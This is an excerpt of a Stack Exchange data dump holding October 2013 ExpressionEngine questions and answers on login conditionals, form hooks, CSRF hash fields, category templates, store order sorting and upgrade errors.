  <row Id="14351" PostTypeId="2" ParentId="14336" CreationDate="2013-10-07T02:37:33.347" Score="1" Body="&lt;p&gt;I'm not clear on what you want your output to be, but check out the functionality of &lt;a href=&quot;http://gotolow.com/addons/low-seg2cat&quot; rel=&quot;nofollow&quot;&gt;Low Seg2Cat&lt;/a&gt; and/or &lt;a href=&quot;http://rog.ee/category_sorted_entries&quot; rel=&quot;nofollow&quot;&gt;Category Sorted Entries&lt;/a&gt; to see if either can be helpful...&lt;/p&gt;&#xA;" OwnerUserId="262" LastActivityDate="2013-10-07T02:37:33.347" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14352" PostTypeId="2" ParentId="14349" CreationDate="2013-10-07T02:40:56.913" Score="1" Body="&lt;p&gt;You cannot add categories though the channel form, unfortunately. You've got a couple options:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) It'd be a bit involved, but it's not altogether impossible to write a module that allows categories to be added from the front-end. Just take note of the various tables for categories and what needs to be filled out when added. If you're not familiar with add-on development already, though, this may be a bit challenging.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Switch to a tagging addon, such as the free &lt;a href=&quot;http://www.devdemon.com/tagger&quot; rel=&quot;nofollow&quot;&gt;Tagger from DevDemon&lt;/a&gt;. Tagger provides an interface that works with the channel form on the front-end. While tagging isn't exactly the same functionality as categories, in many cases it's pretty seamless to switch over. &lt;/p&gt;&#xA;" OwnerUserId="197" LastActivityDate="2013-10-07T02:40:56.913" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14353" PostTypeId="1" CreationDate="2013-10-07T06:47:40.627" Score="0" ViewCount="304" Body="&lt;p&gt;I have page where the content depends on whether you are logged in or not. This is the tag that I used to check&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if logged_out}&#xA;   ...&#xA;{if:else}&#xA;  ...&#xA;{/if} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, even if I am logged out, I always get to the second part which is meant for logged in users.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have cleared the cache from EE and the cookies from my browser. But it did not help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which parts of EE should I be looking for to solve this problem?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Some more information&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;I am using the url below to log out&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;{redirect=&quot;?ACT=16&amp;amp;amp;return=/sign-out/&quot;}&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I am using Safecracker Registration. All the kinks with upgrading to 2.7.1 have been worked out.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I outputted some variables and I got this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;logged_in_member_id: 1&#xA;logged_in_group_id: 1&#xA;logged_in_group_description:&#xA;logged_in_username:&#xA;logged_in_screen_name:&#xA;logged_in_email: &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Another UPDATE:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have Template A and Template B.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Template A embeds Template B.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I added code to show logged_in status in both Templates&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div&amp;gt;&#xA;    {if logged_in}&#xA;        LOGGED IN&#xA;    {/if}&#xA;&#xA;    {if logged_out}&#xA;        LOGGED OUT&#xA;    {/if}&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The problem is that in Template A, logged_in is FALSE&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but in Template B, logged_in is TRUE&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is weird. So {logged_in} can be changed?&lt;/p&gt;&#xA;" OwnerUserId="636" LastEditorUserId="636" LastEditDate="2013-10-14T06:05:14.533" LastActivityDate="2013-10-16T11:01:12.923" Title="EE still thinks I am logged in after logging out" Tags="|login|logout|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14354" PostTypeId="1" CreationDate="2013-10-07T07:28:44.600" Score="0" ViewCount="103" Body="&lt;p&gt;I am using this hook &lt;code&gt;channel_form_entry_form_tagdata_start&lt;/code&gt; to process some data before it is saved to database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But there are many cases where I want to cancel. Validation errors, missing field, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the correct way to this inside a hook event handler?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I even using the correct hook?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I used this &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/11738/is-it-possible-for-the-hook-handler-of-safecracker-submit-entry-start-to-cancel&quot;&gt;technique&lt;/a&gt; before. Is this still the correct way to do it?&lt;/p&gt;&#xA;" OwnerUserId="636" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.330" LastActivityDate="2013-10-07T07:54:21.383" Title="Canceling form submission within channel_form_entry_form_tagdata_start hook handler in 2.7+" Tags="|channel-form|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14355" PostTypeId="2" ParentId="14354" CreationDate="2013-10-07T07:54:21.383" Score="1" Body="&lt;p&gt;You can use the previous technique having same method call but the hook will be different &lt;code&gt;channel_form_submit_entry_start&lt;/code&gt; instead of &lt;code&gt;safecracker_submit_entry_start&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Please note&lt;/strong&gt;: if you are updating the hook name within the extension, it would be easy and good to uninstall it first and then update the hook name. Again install it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope, everything would work fine for you.&lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-10-07T07:54:21.383" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="14356" PostTypeId="2" ParentId="14341" CreationDate="2013-10-07T07:55:55.320" Score="1" Body="&lt;p&gt;If you just create a hidden input field name XID and use the EE Tag {XID_HASH} I think it'll generate the value for you.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;XID&quot; value=&quot;{XID_HASH}&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="18" LastActivityDate="2013-10-07T07:55:55.320" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14357" PostTypeId="1" AcceptedAnswerId="14361" CreationDate="2013-10-07T07:58:29.247" Score="2" ViewCount="161" Body="&lt;p&gt;Is there a simple way to create a custom conditional a bit like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_variables:single var=&quot;footer&quot; foo=&quot;bar&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the variable:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   {if foo == &quot;bar&quot;}&#xA;      Show something here&#xA;   {/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've played around with preload_replace a bit but no joy so far&lt;/p&gt;&#xA;" OwnerUserId="2147" LastActivityDate="2013-10-07T09:23:10.040" Title="Passing in vars for use in conditionals in Low Variables" Tags="|low-variables|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14358" PostTypeId="2" ParentId="14353" CreationDate="2013-10-07T08:55:12.550" Score="1" Body="&lt;p&gt;Try:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{redirect=&quot;{site_url}?ACT=16&amp;amp;return=/sign-out/&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &amp;amp; will probably be treated as part of the string instead of the divider between query strings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also try (just to keep it simple):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{redirect=&quot;{site_url}?ACT=16&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Assuming the logout is working and it's the conditional that's at fault, try this conditional instead:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if logged_out}&#xA;   ...&#xA;{/if}&#xA;{if logged_in}&#xA;  ...&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="425" LastActivityDate="2013-10-07T08:55:12.550" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14359" PostTypeId="2" ParentId="14341" CreationDate="2013-10-07T09:17:03.733" Score="1" Body="&lt;p&gt;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/guidelines/security.html#ee-functions-form-declaration&quot; rel=&quot;nofollow&quot;&gt;EE Docs&lt;/a&gt;. Also details &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/guidelines/security.html#ajax&quot; rel=&quot;nofollow&quot;&gt;Ajax handling&lt;/a&gt; of XID.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As Bhashkar stated:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;EE-&amp;gt;functions-&amp;gt;form_declaration($data);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or the new method:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ee()-&amp;gt;functions-&amp;gt;form_declaration($data);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;so the XID (secure hash ID) is added automatically as a hidden input&#xA;  field.&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;As part fo the $data array sent you can force secure by adding it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$data['secure'] = TRUE;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Example of complete code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$formDetails = array('action'     =&amp;gt; '',&#xA;              'name'           =&amp;gt; 'filtered_listing',&#xA;              'id'             =&amp;gt; $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;form_id,&#xA;              'class'          =&amp;gt; $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;form_class,&#xA;              'hidden_fields'  =&amp;gt; array('ACT' =&amp;gt; $actionID,&#xA;                                        'RET' =&amp;gt; $_SERVER[&quot;REQUEST_URI&quot;]),&#xA;              'secure'         =&amp;gt; TRUE&#xA;);&#xA;$header = $this-&amp;gt;EE-&amp;gt;functions-&amp;gt;form_declaration($formDetails);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you're checking the receipt of the form and need to validate the XID...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//###   Check Security Hash   ###&#xA;if ($this-&amp;gt;EE-&amp;gt;security-&amp;gt;secure_forms_check($this-&amp;gt;EE-&amp;gt;input-&amp;gt;post('XID')) == FALSE) {&#xA;    //###   Deny Form submission if a hash isn't found or is too old&#xA;    $this-&amp;gt;EE-&amp;gt;functions-&amp;gt;redirect(stripslashes($this-&amp;gt;EE-&amp;gt;input-&amp;gt;get_post('RET', false)));&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update based on Form Helper example code&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try Outputting &lt;code&gt;{XID_SECURE_HASH}&lt;/code&gt; &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/conversion/syntax.html&quot; rel=&quot;nofollow&quot;&gt;Reference&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;form_hidden('XID', '{XID_SECURE_HASH}')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Failing that:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;form_hidden('XID', $this-&amp;gt;EE-&amp;gt;functions-&amp;gt;add_form_security_hash('{XID_HASH}'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Ref: &lt;a href=&quot;http://ellislab.com/forums/viewthread/199161/#933195&quot; rel=&quot;nofollow&quot;&gt;Rob Sanchez&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ellislab.com/codeigniter/user-guide/helpers/form_helper.html&quot; rel=&quot;nofollow&quot;&gt;Form Helper Documentation&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="425" LastEditorUserId="425" LastEditDate="2013-10-07T15:51:43.707" LastActivityDate="2013-10-07T15:51:43.707" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14360" PostTypeId="1" AcceptedAnswerId="14364" CreationDate="2013-10-07T09:20:31.700" Score="1" ViewCount="895" Body="&lt;p&gt;I have a template that outputs a list of categories and any entries associated with them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All entries are assigned to child categories and none to the parent categories (the parent categories exist only to aid organisation of the child categories).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When the list is output, the names of the parent categories are being shown (with no entries), then the child categories with their entries as expected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It looks something like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Cat1&#xA;    Cat 1A&#xA;        (entries)&#xA;    Cat 1B&#xA;        (entries)&#xA;    Cat 1C&#xA;        (entries)&#xA;Cat2&#xA;    Cat 2A&#xA;        (entries)&#xA;    Cat 2B&#xA;        (entries)&#xA;Cat3&#xA;    Cat 3A&#xA;        (entries)&#xA;    Cat 3B&#xA;        (entries)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can I not show the parent categories but keep the child categories showing?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i.e. the output will look like this...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    Cat 1A&#xA;        (entries)&#xA;    Cat 1B&#xA;        (entries)&#xA;    Cat 1C&#xA;        (entries)&#xA;    Cat 2A&#xA;        (entries)&#xA;    Cat 2B&#xA;        (entries)&#xA;    Cat 3A&#xA;        (entries)&#xA;    Cat 3B&#xA;        (entries)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is my only option to remove the parent categories completely?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's my current template code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:categories channel=&quot;attachments&quot; category_group=&quot;2&quot; parent_only=&quot;no&quot; style=&quot;linear&quot; show_empty=&quot;no&quot;}&#xA;&#xA;    &amp;lt;h3&amp;gt;{category_name}&amp;lt;/h3&amp;gt;&#xA;    {exp:channel:entries channel=&quot;pages&quot; entry_id=&quot;112&quot; }&#xA;        {exp:playa:children field=&quot;attachment&quot; category=&quot;{category_id}&quot; disable=&quot;members&quot;}&#xA;                &amp;lt;ul&amp;gt;        &#xA;&#xA;                    &amp;lt;li&amp;gt;&#xA;                        &amp;lt;a href=&quot;{attachment-file}&quot;&amp;gt;{attachment-file-text}&amp;lt;/a&amp;gt;&#xA;                    &amp;lt;/li&amp;gt;&#xA;&#xA;                &amp;lt;/ul&amp;gt;&#xA;                {/exp:playa:children}&#xA;    {/exp:channel:entries}&#xA;&#xA;{/exp:channel:categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="159" LastEditorUserId="7705" LastEditDate="2018-07-23T12:36:57.537" LastActivityDate="2018-07-23T12:36:57.537" Title="Show child categories but hide parent" Tags="|categories|templates|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14361" PostTypeId="2" ParentId="14357" CreationDate="2013-10-07T09:23:10.040" Score="1" Body="&lt;p&gt;You can use the &lt;code&gt;preparse:my_var&lt;/code&gt; parameter, available only in the &lt;a href=&quot;http://gotolow.com/addons/low-variables/docs/types#textarea&quot; rel=&quot;nofollow&quot;&gt;Textarea variable type&lt;/a&gt;. Example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_variables:single var=&quot;my_var&quot; preparse:foo=&quot;bar&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="172" LastActivityDate="2013-10-07T09:23:10.040" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14362" PostTypeId="2" ParentId="11357" CreationDate="2013-10-07T09:40:18.120" Score="1" Body="&lt;p&gt;If you are using IIS for this application then your solution for this is to check in your web.config file for requestfiltering section and set the maxAllowedContentLength property. The reason for this is that IIS default max length is only 30MB.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&#xA;      &#xA;          &#xA;              &#xA;          &#xA;  &lt;/p&gt;&#xA;" OwnerUserId="2148" LastActivityDate="2013-10-07T09:40:18.120" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14363" PostTypeId="2" ParentId="14346" CreationDate="2013-10-07T09:43:13.193" Score="1" Body="&lt;p&gt;Assuming this is a hypothetical question, as Jeremy states, although it's possible it's not really worth the effort due to the many, many approaches. There's one developer I know of who has created &quot;themes&quot; that used to be sold through &lt;a href=&quot;http://themeforest.net&quot; rel=&quot;nofollow&quot;&gt;Theme Forest&lt;/a&gt; (but now no longer available), you can see them &lt;a href=&quot;http://themes.bybjorn.com&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;. &lt;a href=&quot;http://www.woothemes.com/2010/01/welcome-to-weethemes/&quot; rel=&quot;nofollow&quot;&gt;Woothemes&lt;/a&gt; attempted it as well &lt;a href=&quot;http://dzineblog.com/2011/02/10-best-expressionengine-themes-by-woothemes.html&quot; rel=&quot;nofollow&quot;&gt;(examples)&lt;/a&gt;, but again they discontinued them and they're &lt;a href=&quot;http://www.woothemes.com/2011/04/re-focusing/&quot; rel=&quot;nofollow&quot;&gt;no longer available&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The point is, &quot;theming&quot; doesn't work in EE because of the different approaches to site structure, templates (naming, URLs, code, etc) and due to the amount of commercial add-ons (and variations in those) that are mostly standard to all EE builds.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Look at the default &quot;theme&quot; that comes with EE - it's meant as an example build to learn from, not to use in the real world or to expand upon.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There could be an approach whereby a module was developed to force rigid template usage for a build (e.g. like Wordpress has fixed templates for key functions), but ExpressionEngine's main strength is it's flexibility and freedom in approach and development.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More info on &lt;a href=&quot;http://eeinsider.com/blog/ellislab-ceo-on-ee-growth-and-challenges/&quot; rel=&quot;nofollow&quot;&gt;EE Insider&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="425" LastActivityDate="2013-10-07T09:43:13.193" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14364" PostTypeId="2" ParentId="14360" CreationDate="2013-10-07T09:48:17.873" Score="2" Body="&lt;p&gt;Add:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if {parent_id} != 0}&#xA;    ...&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(This only works for hiding root parents, not 3 tier structures)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:categories channel=&quot;attachments&quot; category_group=&quot;2&quot; parent_only=&quot;no&quot; style=&quot;linear&quot; show_empty=&quot;no&quot;}&#xA;&#xA;{if &quot;{parent_id}&quot; != 0}&#xA;    &amp;lt;h3&amp;gt;{category_name}&amp;lt;/h3&amp;gt;&#xA;    {exp:channel:entries channel=&quot;pages&quot; entry_id=&quot;112&quot; }&#xA;        {exp:playa:children field=&quot;attachment&quot; category=&quot;{category_id}&quot; disable=&quot;members&quot;}&#xA;                &amp;lt;ul&amp;gt;        &#xA;&#xA;                    &amp;lt;li&amp;gt;&#xA;                        &amp;lt;a href=&quot;{attachment-file}&quot;&amp;gt;{attachment-file-text}&amp;lt;/a&amp;gt;&#xA;                    &amp;lt;/li&amp;gt;&#xA;&#xA;                &amp;lt;/ul&amp;gt;&#xA;                {/exp:playa:children}&#xA;    {/exp:channel:entries}&#xA;{/if}&#xA;{/exp:channel:categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But be very careful of performance here - might be worth flipping the categories and entries tags, as &lt;code&gt;channel:entries&lt;/code&gt; has more overhead than &lt;code&gt;channel:categories&lt;/code&gt;, so a single entries tag and looping of the categories tag may improve performance.&lt;/p&gt;&#xA;" OwnerUserId="425" LastActivityDate="2013-10-07T09:48:17.873" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14365" PostTypeId="1" AcceptedAnswerId="14381" CreationDate="2013-10-07T10:18:49.780" Score="1" ViewCount="69" Body="&lt;p&gt;I've just upgraded to Expresso Store 2 and I've noticed that on my customers 'my orders' page that the orders are being listed from oldest to newest ignoring my parameters asking for them to be listed from newest to oldest.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I'm not sure if this is a new bug with Store v2, or if I've only noticed it since upgrading).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any advice on sorting this out please?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My code below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:store:orders member_id='CURRENT_USER' order_by='order_date' sort='desc'}&#xA;&#xA;            {if no_orders}&#xA;                &amp;lt;tr&amp;gt;&#xA;                    &amp;lt;td colspan=&quot;5&quot;&amp;gt;&amp;lt;strong&amp;gt;You haven't placed any orders yet!&amp;lt;/strong&amp;gt;&amp;lt;/td&amp;gt;&#xA;                &amp;lt;/tr&amp;gt;&#xA;            {/if}&#xA;&#xA;            &amp;lt;tr&amp;gt;&#xA;                &amp;lt;td&amp;gt;{order_id}&amp;lt;/td&amp;gt;&#xA;                &amp;lt;td class=&quot;product&quot;&amp;gt;&#xA;                    {items}&#xA;                        {item_qty} &amp;amp;times; {title}&amp;lt;br /&amp;gt;&#xA;                    {/items}&#xA;                &amp;lt;/td&amp;gt;&#xA;                &amp;lt;td&amp;gt;{order_date format=&quot;%j %M %Y&quot;}&amp;lt;/td&amp;gt;&#xA;                &amp;lt;td&amp;gt;{order_total}&amp;lt;/td&amp;gt;&#xA;                &amp;lt;td&amp;gt;{order_status}&amp;lt;/td&amp;gt;&#xA;                &amp;lt;td&amp;gt;&amp;lt;a href=&quot;{path='store/order/{order_hash}'}&quot; class=&quot;button-style2&quot;&amp;gt;Details&amp;lt;/a&amp;gt;&amp;lt;/td&amp;gt;&#xA;            &amp;lt;/tr&amp;gt;&#xA;&#xA;        {/exp:store:orders}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="785" LastActivityDate="2013-10-07T20:03:25.100" Title="Expresso Store: Order tag seems to be ignoring order_by parameters" Tags="|expresso-store|tags|parameters|orderby|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14366" PostTypeId="2" ParentId="13504" CreationDate="2013-10-07T11:07:55.340" Score="1" Body="&lt;p&gt;I think the problem is that the Store JS code doesn't know the SELECT has changed so doesn't update the price. Setting the selected attribute doesn't fire the change event. You could test this by creating a change event on the select with a debug output to see if it fires.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$(&quot;.options select&quot;).change( function() {&#xA;    console.log(&quot;SELECT TRIGGERED &quot;.$(this).val()); //ensure you remove this on live site as crashes IE!&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Instead of setting &quot;selected&quot; for the OPTION, set the value for the SELECT:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$('.options select'.val( $(this).attr('data-title') ).trigger('change');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Although I think this is more correct for your scenario...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$('.options select'.val( $('.options select option[data-val=&quot;'+$(this).attr('data-title')+'&quot;]').attr(&quot;value&quot;) ).trigger('change');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's the name of your select and what's the classes on the form element?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the line from Store JavaScript:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$(&quot;.store_product_price&quot;, form).val(price_str).html(price_str).trigger(&quot;change&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the updateSku function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also this which attaches the handler the the update event on the select:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$(document).delegate('.store_product_form [name^=&quot;modifiers&quot;]:not(:radio)', 'change', lib.updateSku).delegate('.store_product_form [name^=&quot;modifiers&quot;]:radio', 'click', lib.updateSku);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="425" LastEditorUserId="425" LastEditDate="2013-10-07T16:22:25.807" LastActivityDate="2013-10-07T16:22:25.807" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14367" PostTypeId="1" AcceptedAnswerId="14394" CreationDate="2013-10-07T14:26:36.313" Score="1" ViewCount="254" Body="&lt;p&gt;I've set up ip_to_nation like the user guide says to do it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:ip_to_nation:world_flags image_url=&quot;http://example.com/images/world_flags/&quot;}&#xA;    {ip_address}&#xA;{/exp:ip_to_nation:world_flags}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But this won't output anything. However, if I hard code the IP address in there, it'll work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:ip_to_nation:world_flags image_url=&quot;http://example.com/images/world_flags/&quot;}&#xA;    66.85.128.185&#xA;{/exp:ip_to_nation:world_flags}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any ideas why this might be?&lt;/p&gt;&#xA;" OwnerUserId="1990" LastActivityDate="2013-10-08T14:43:16.887" Title="ip_to_nation not working with ip_address" Tags="|ip|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14368" PostTypeId="1" AcceptedAnswerId="14372" CreationDate="2013-10-07T14:45:19.383" Score="2" ViewCount="1234" Body="&lt;p&gt;When trying to upgrace 2.5 to 2.7 I get this error:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Fatal error: Cannot redeclare class Installer_Extensions in /home/user/admin/expressionengine/cache/updater/1381156626_439122/system/installer/libraries/Extensions.php on line 31&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then when I try and view the site I get a white screen with this error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Error Number: 1054&#xA;&#xA;Unknown column 'hash' in 'field list'&#xA;&#xA;    SELECT `hash`, `timestamp` FROM (`exp_developer_log`) ORDER BY `timestamp` asc&#xA;&#xA;    Filename: libraries/Logger.php&#xA;&#xA;    Line Number: 106&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="451" LastEditorUserId="425" LastEditDate="2013-10-07T16:26:48.797" LastActivityDate="2013-10-07T18:57:38.557" Title="HELP!! Upgrade errors: Unknown column 'hash' in 'field list' - Site is down!" Tags="|upgrade|devdemon-updater|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14369" PostTypeId="1" CreationDate="2013-10-07T14:47:38.517" Score="3" ViewCount="212" Body="&lt;p&gt;Just wondered if anyone has a painless way of setting up a staging URL for website development. I often use Heart Internet, but the temporary URLs provided (ie ipaddress/domainreference) do not work with EE installations. In the past I've changed the domain ref to a staging domain, and got the client to point a subdomain to the new IP address. However, I'm not sure if Heart are allowing this now. I can also setup a hosts config locally, but that's makes client reviews awkward. Any thoughts greatly appreciated.&lt;/p&gt;&#xA;" OwnerUserId="2024" LastActivityDate="2018-02-17T11:43:27.030" Title="Staging URL for web development" Tags="|staging-server|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
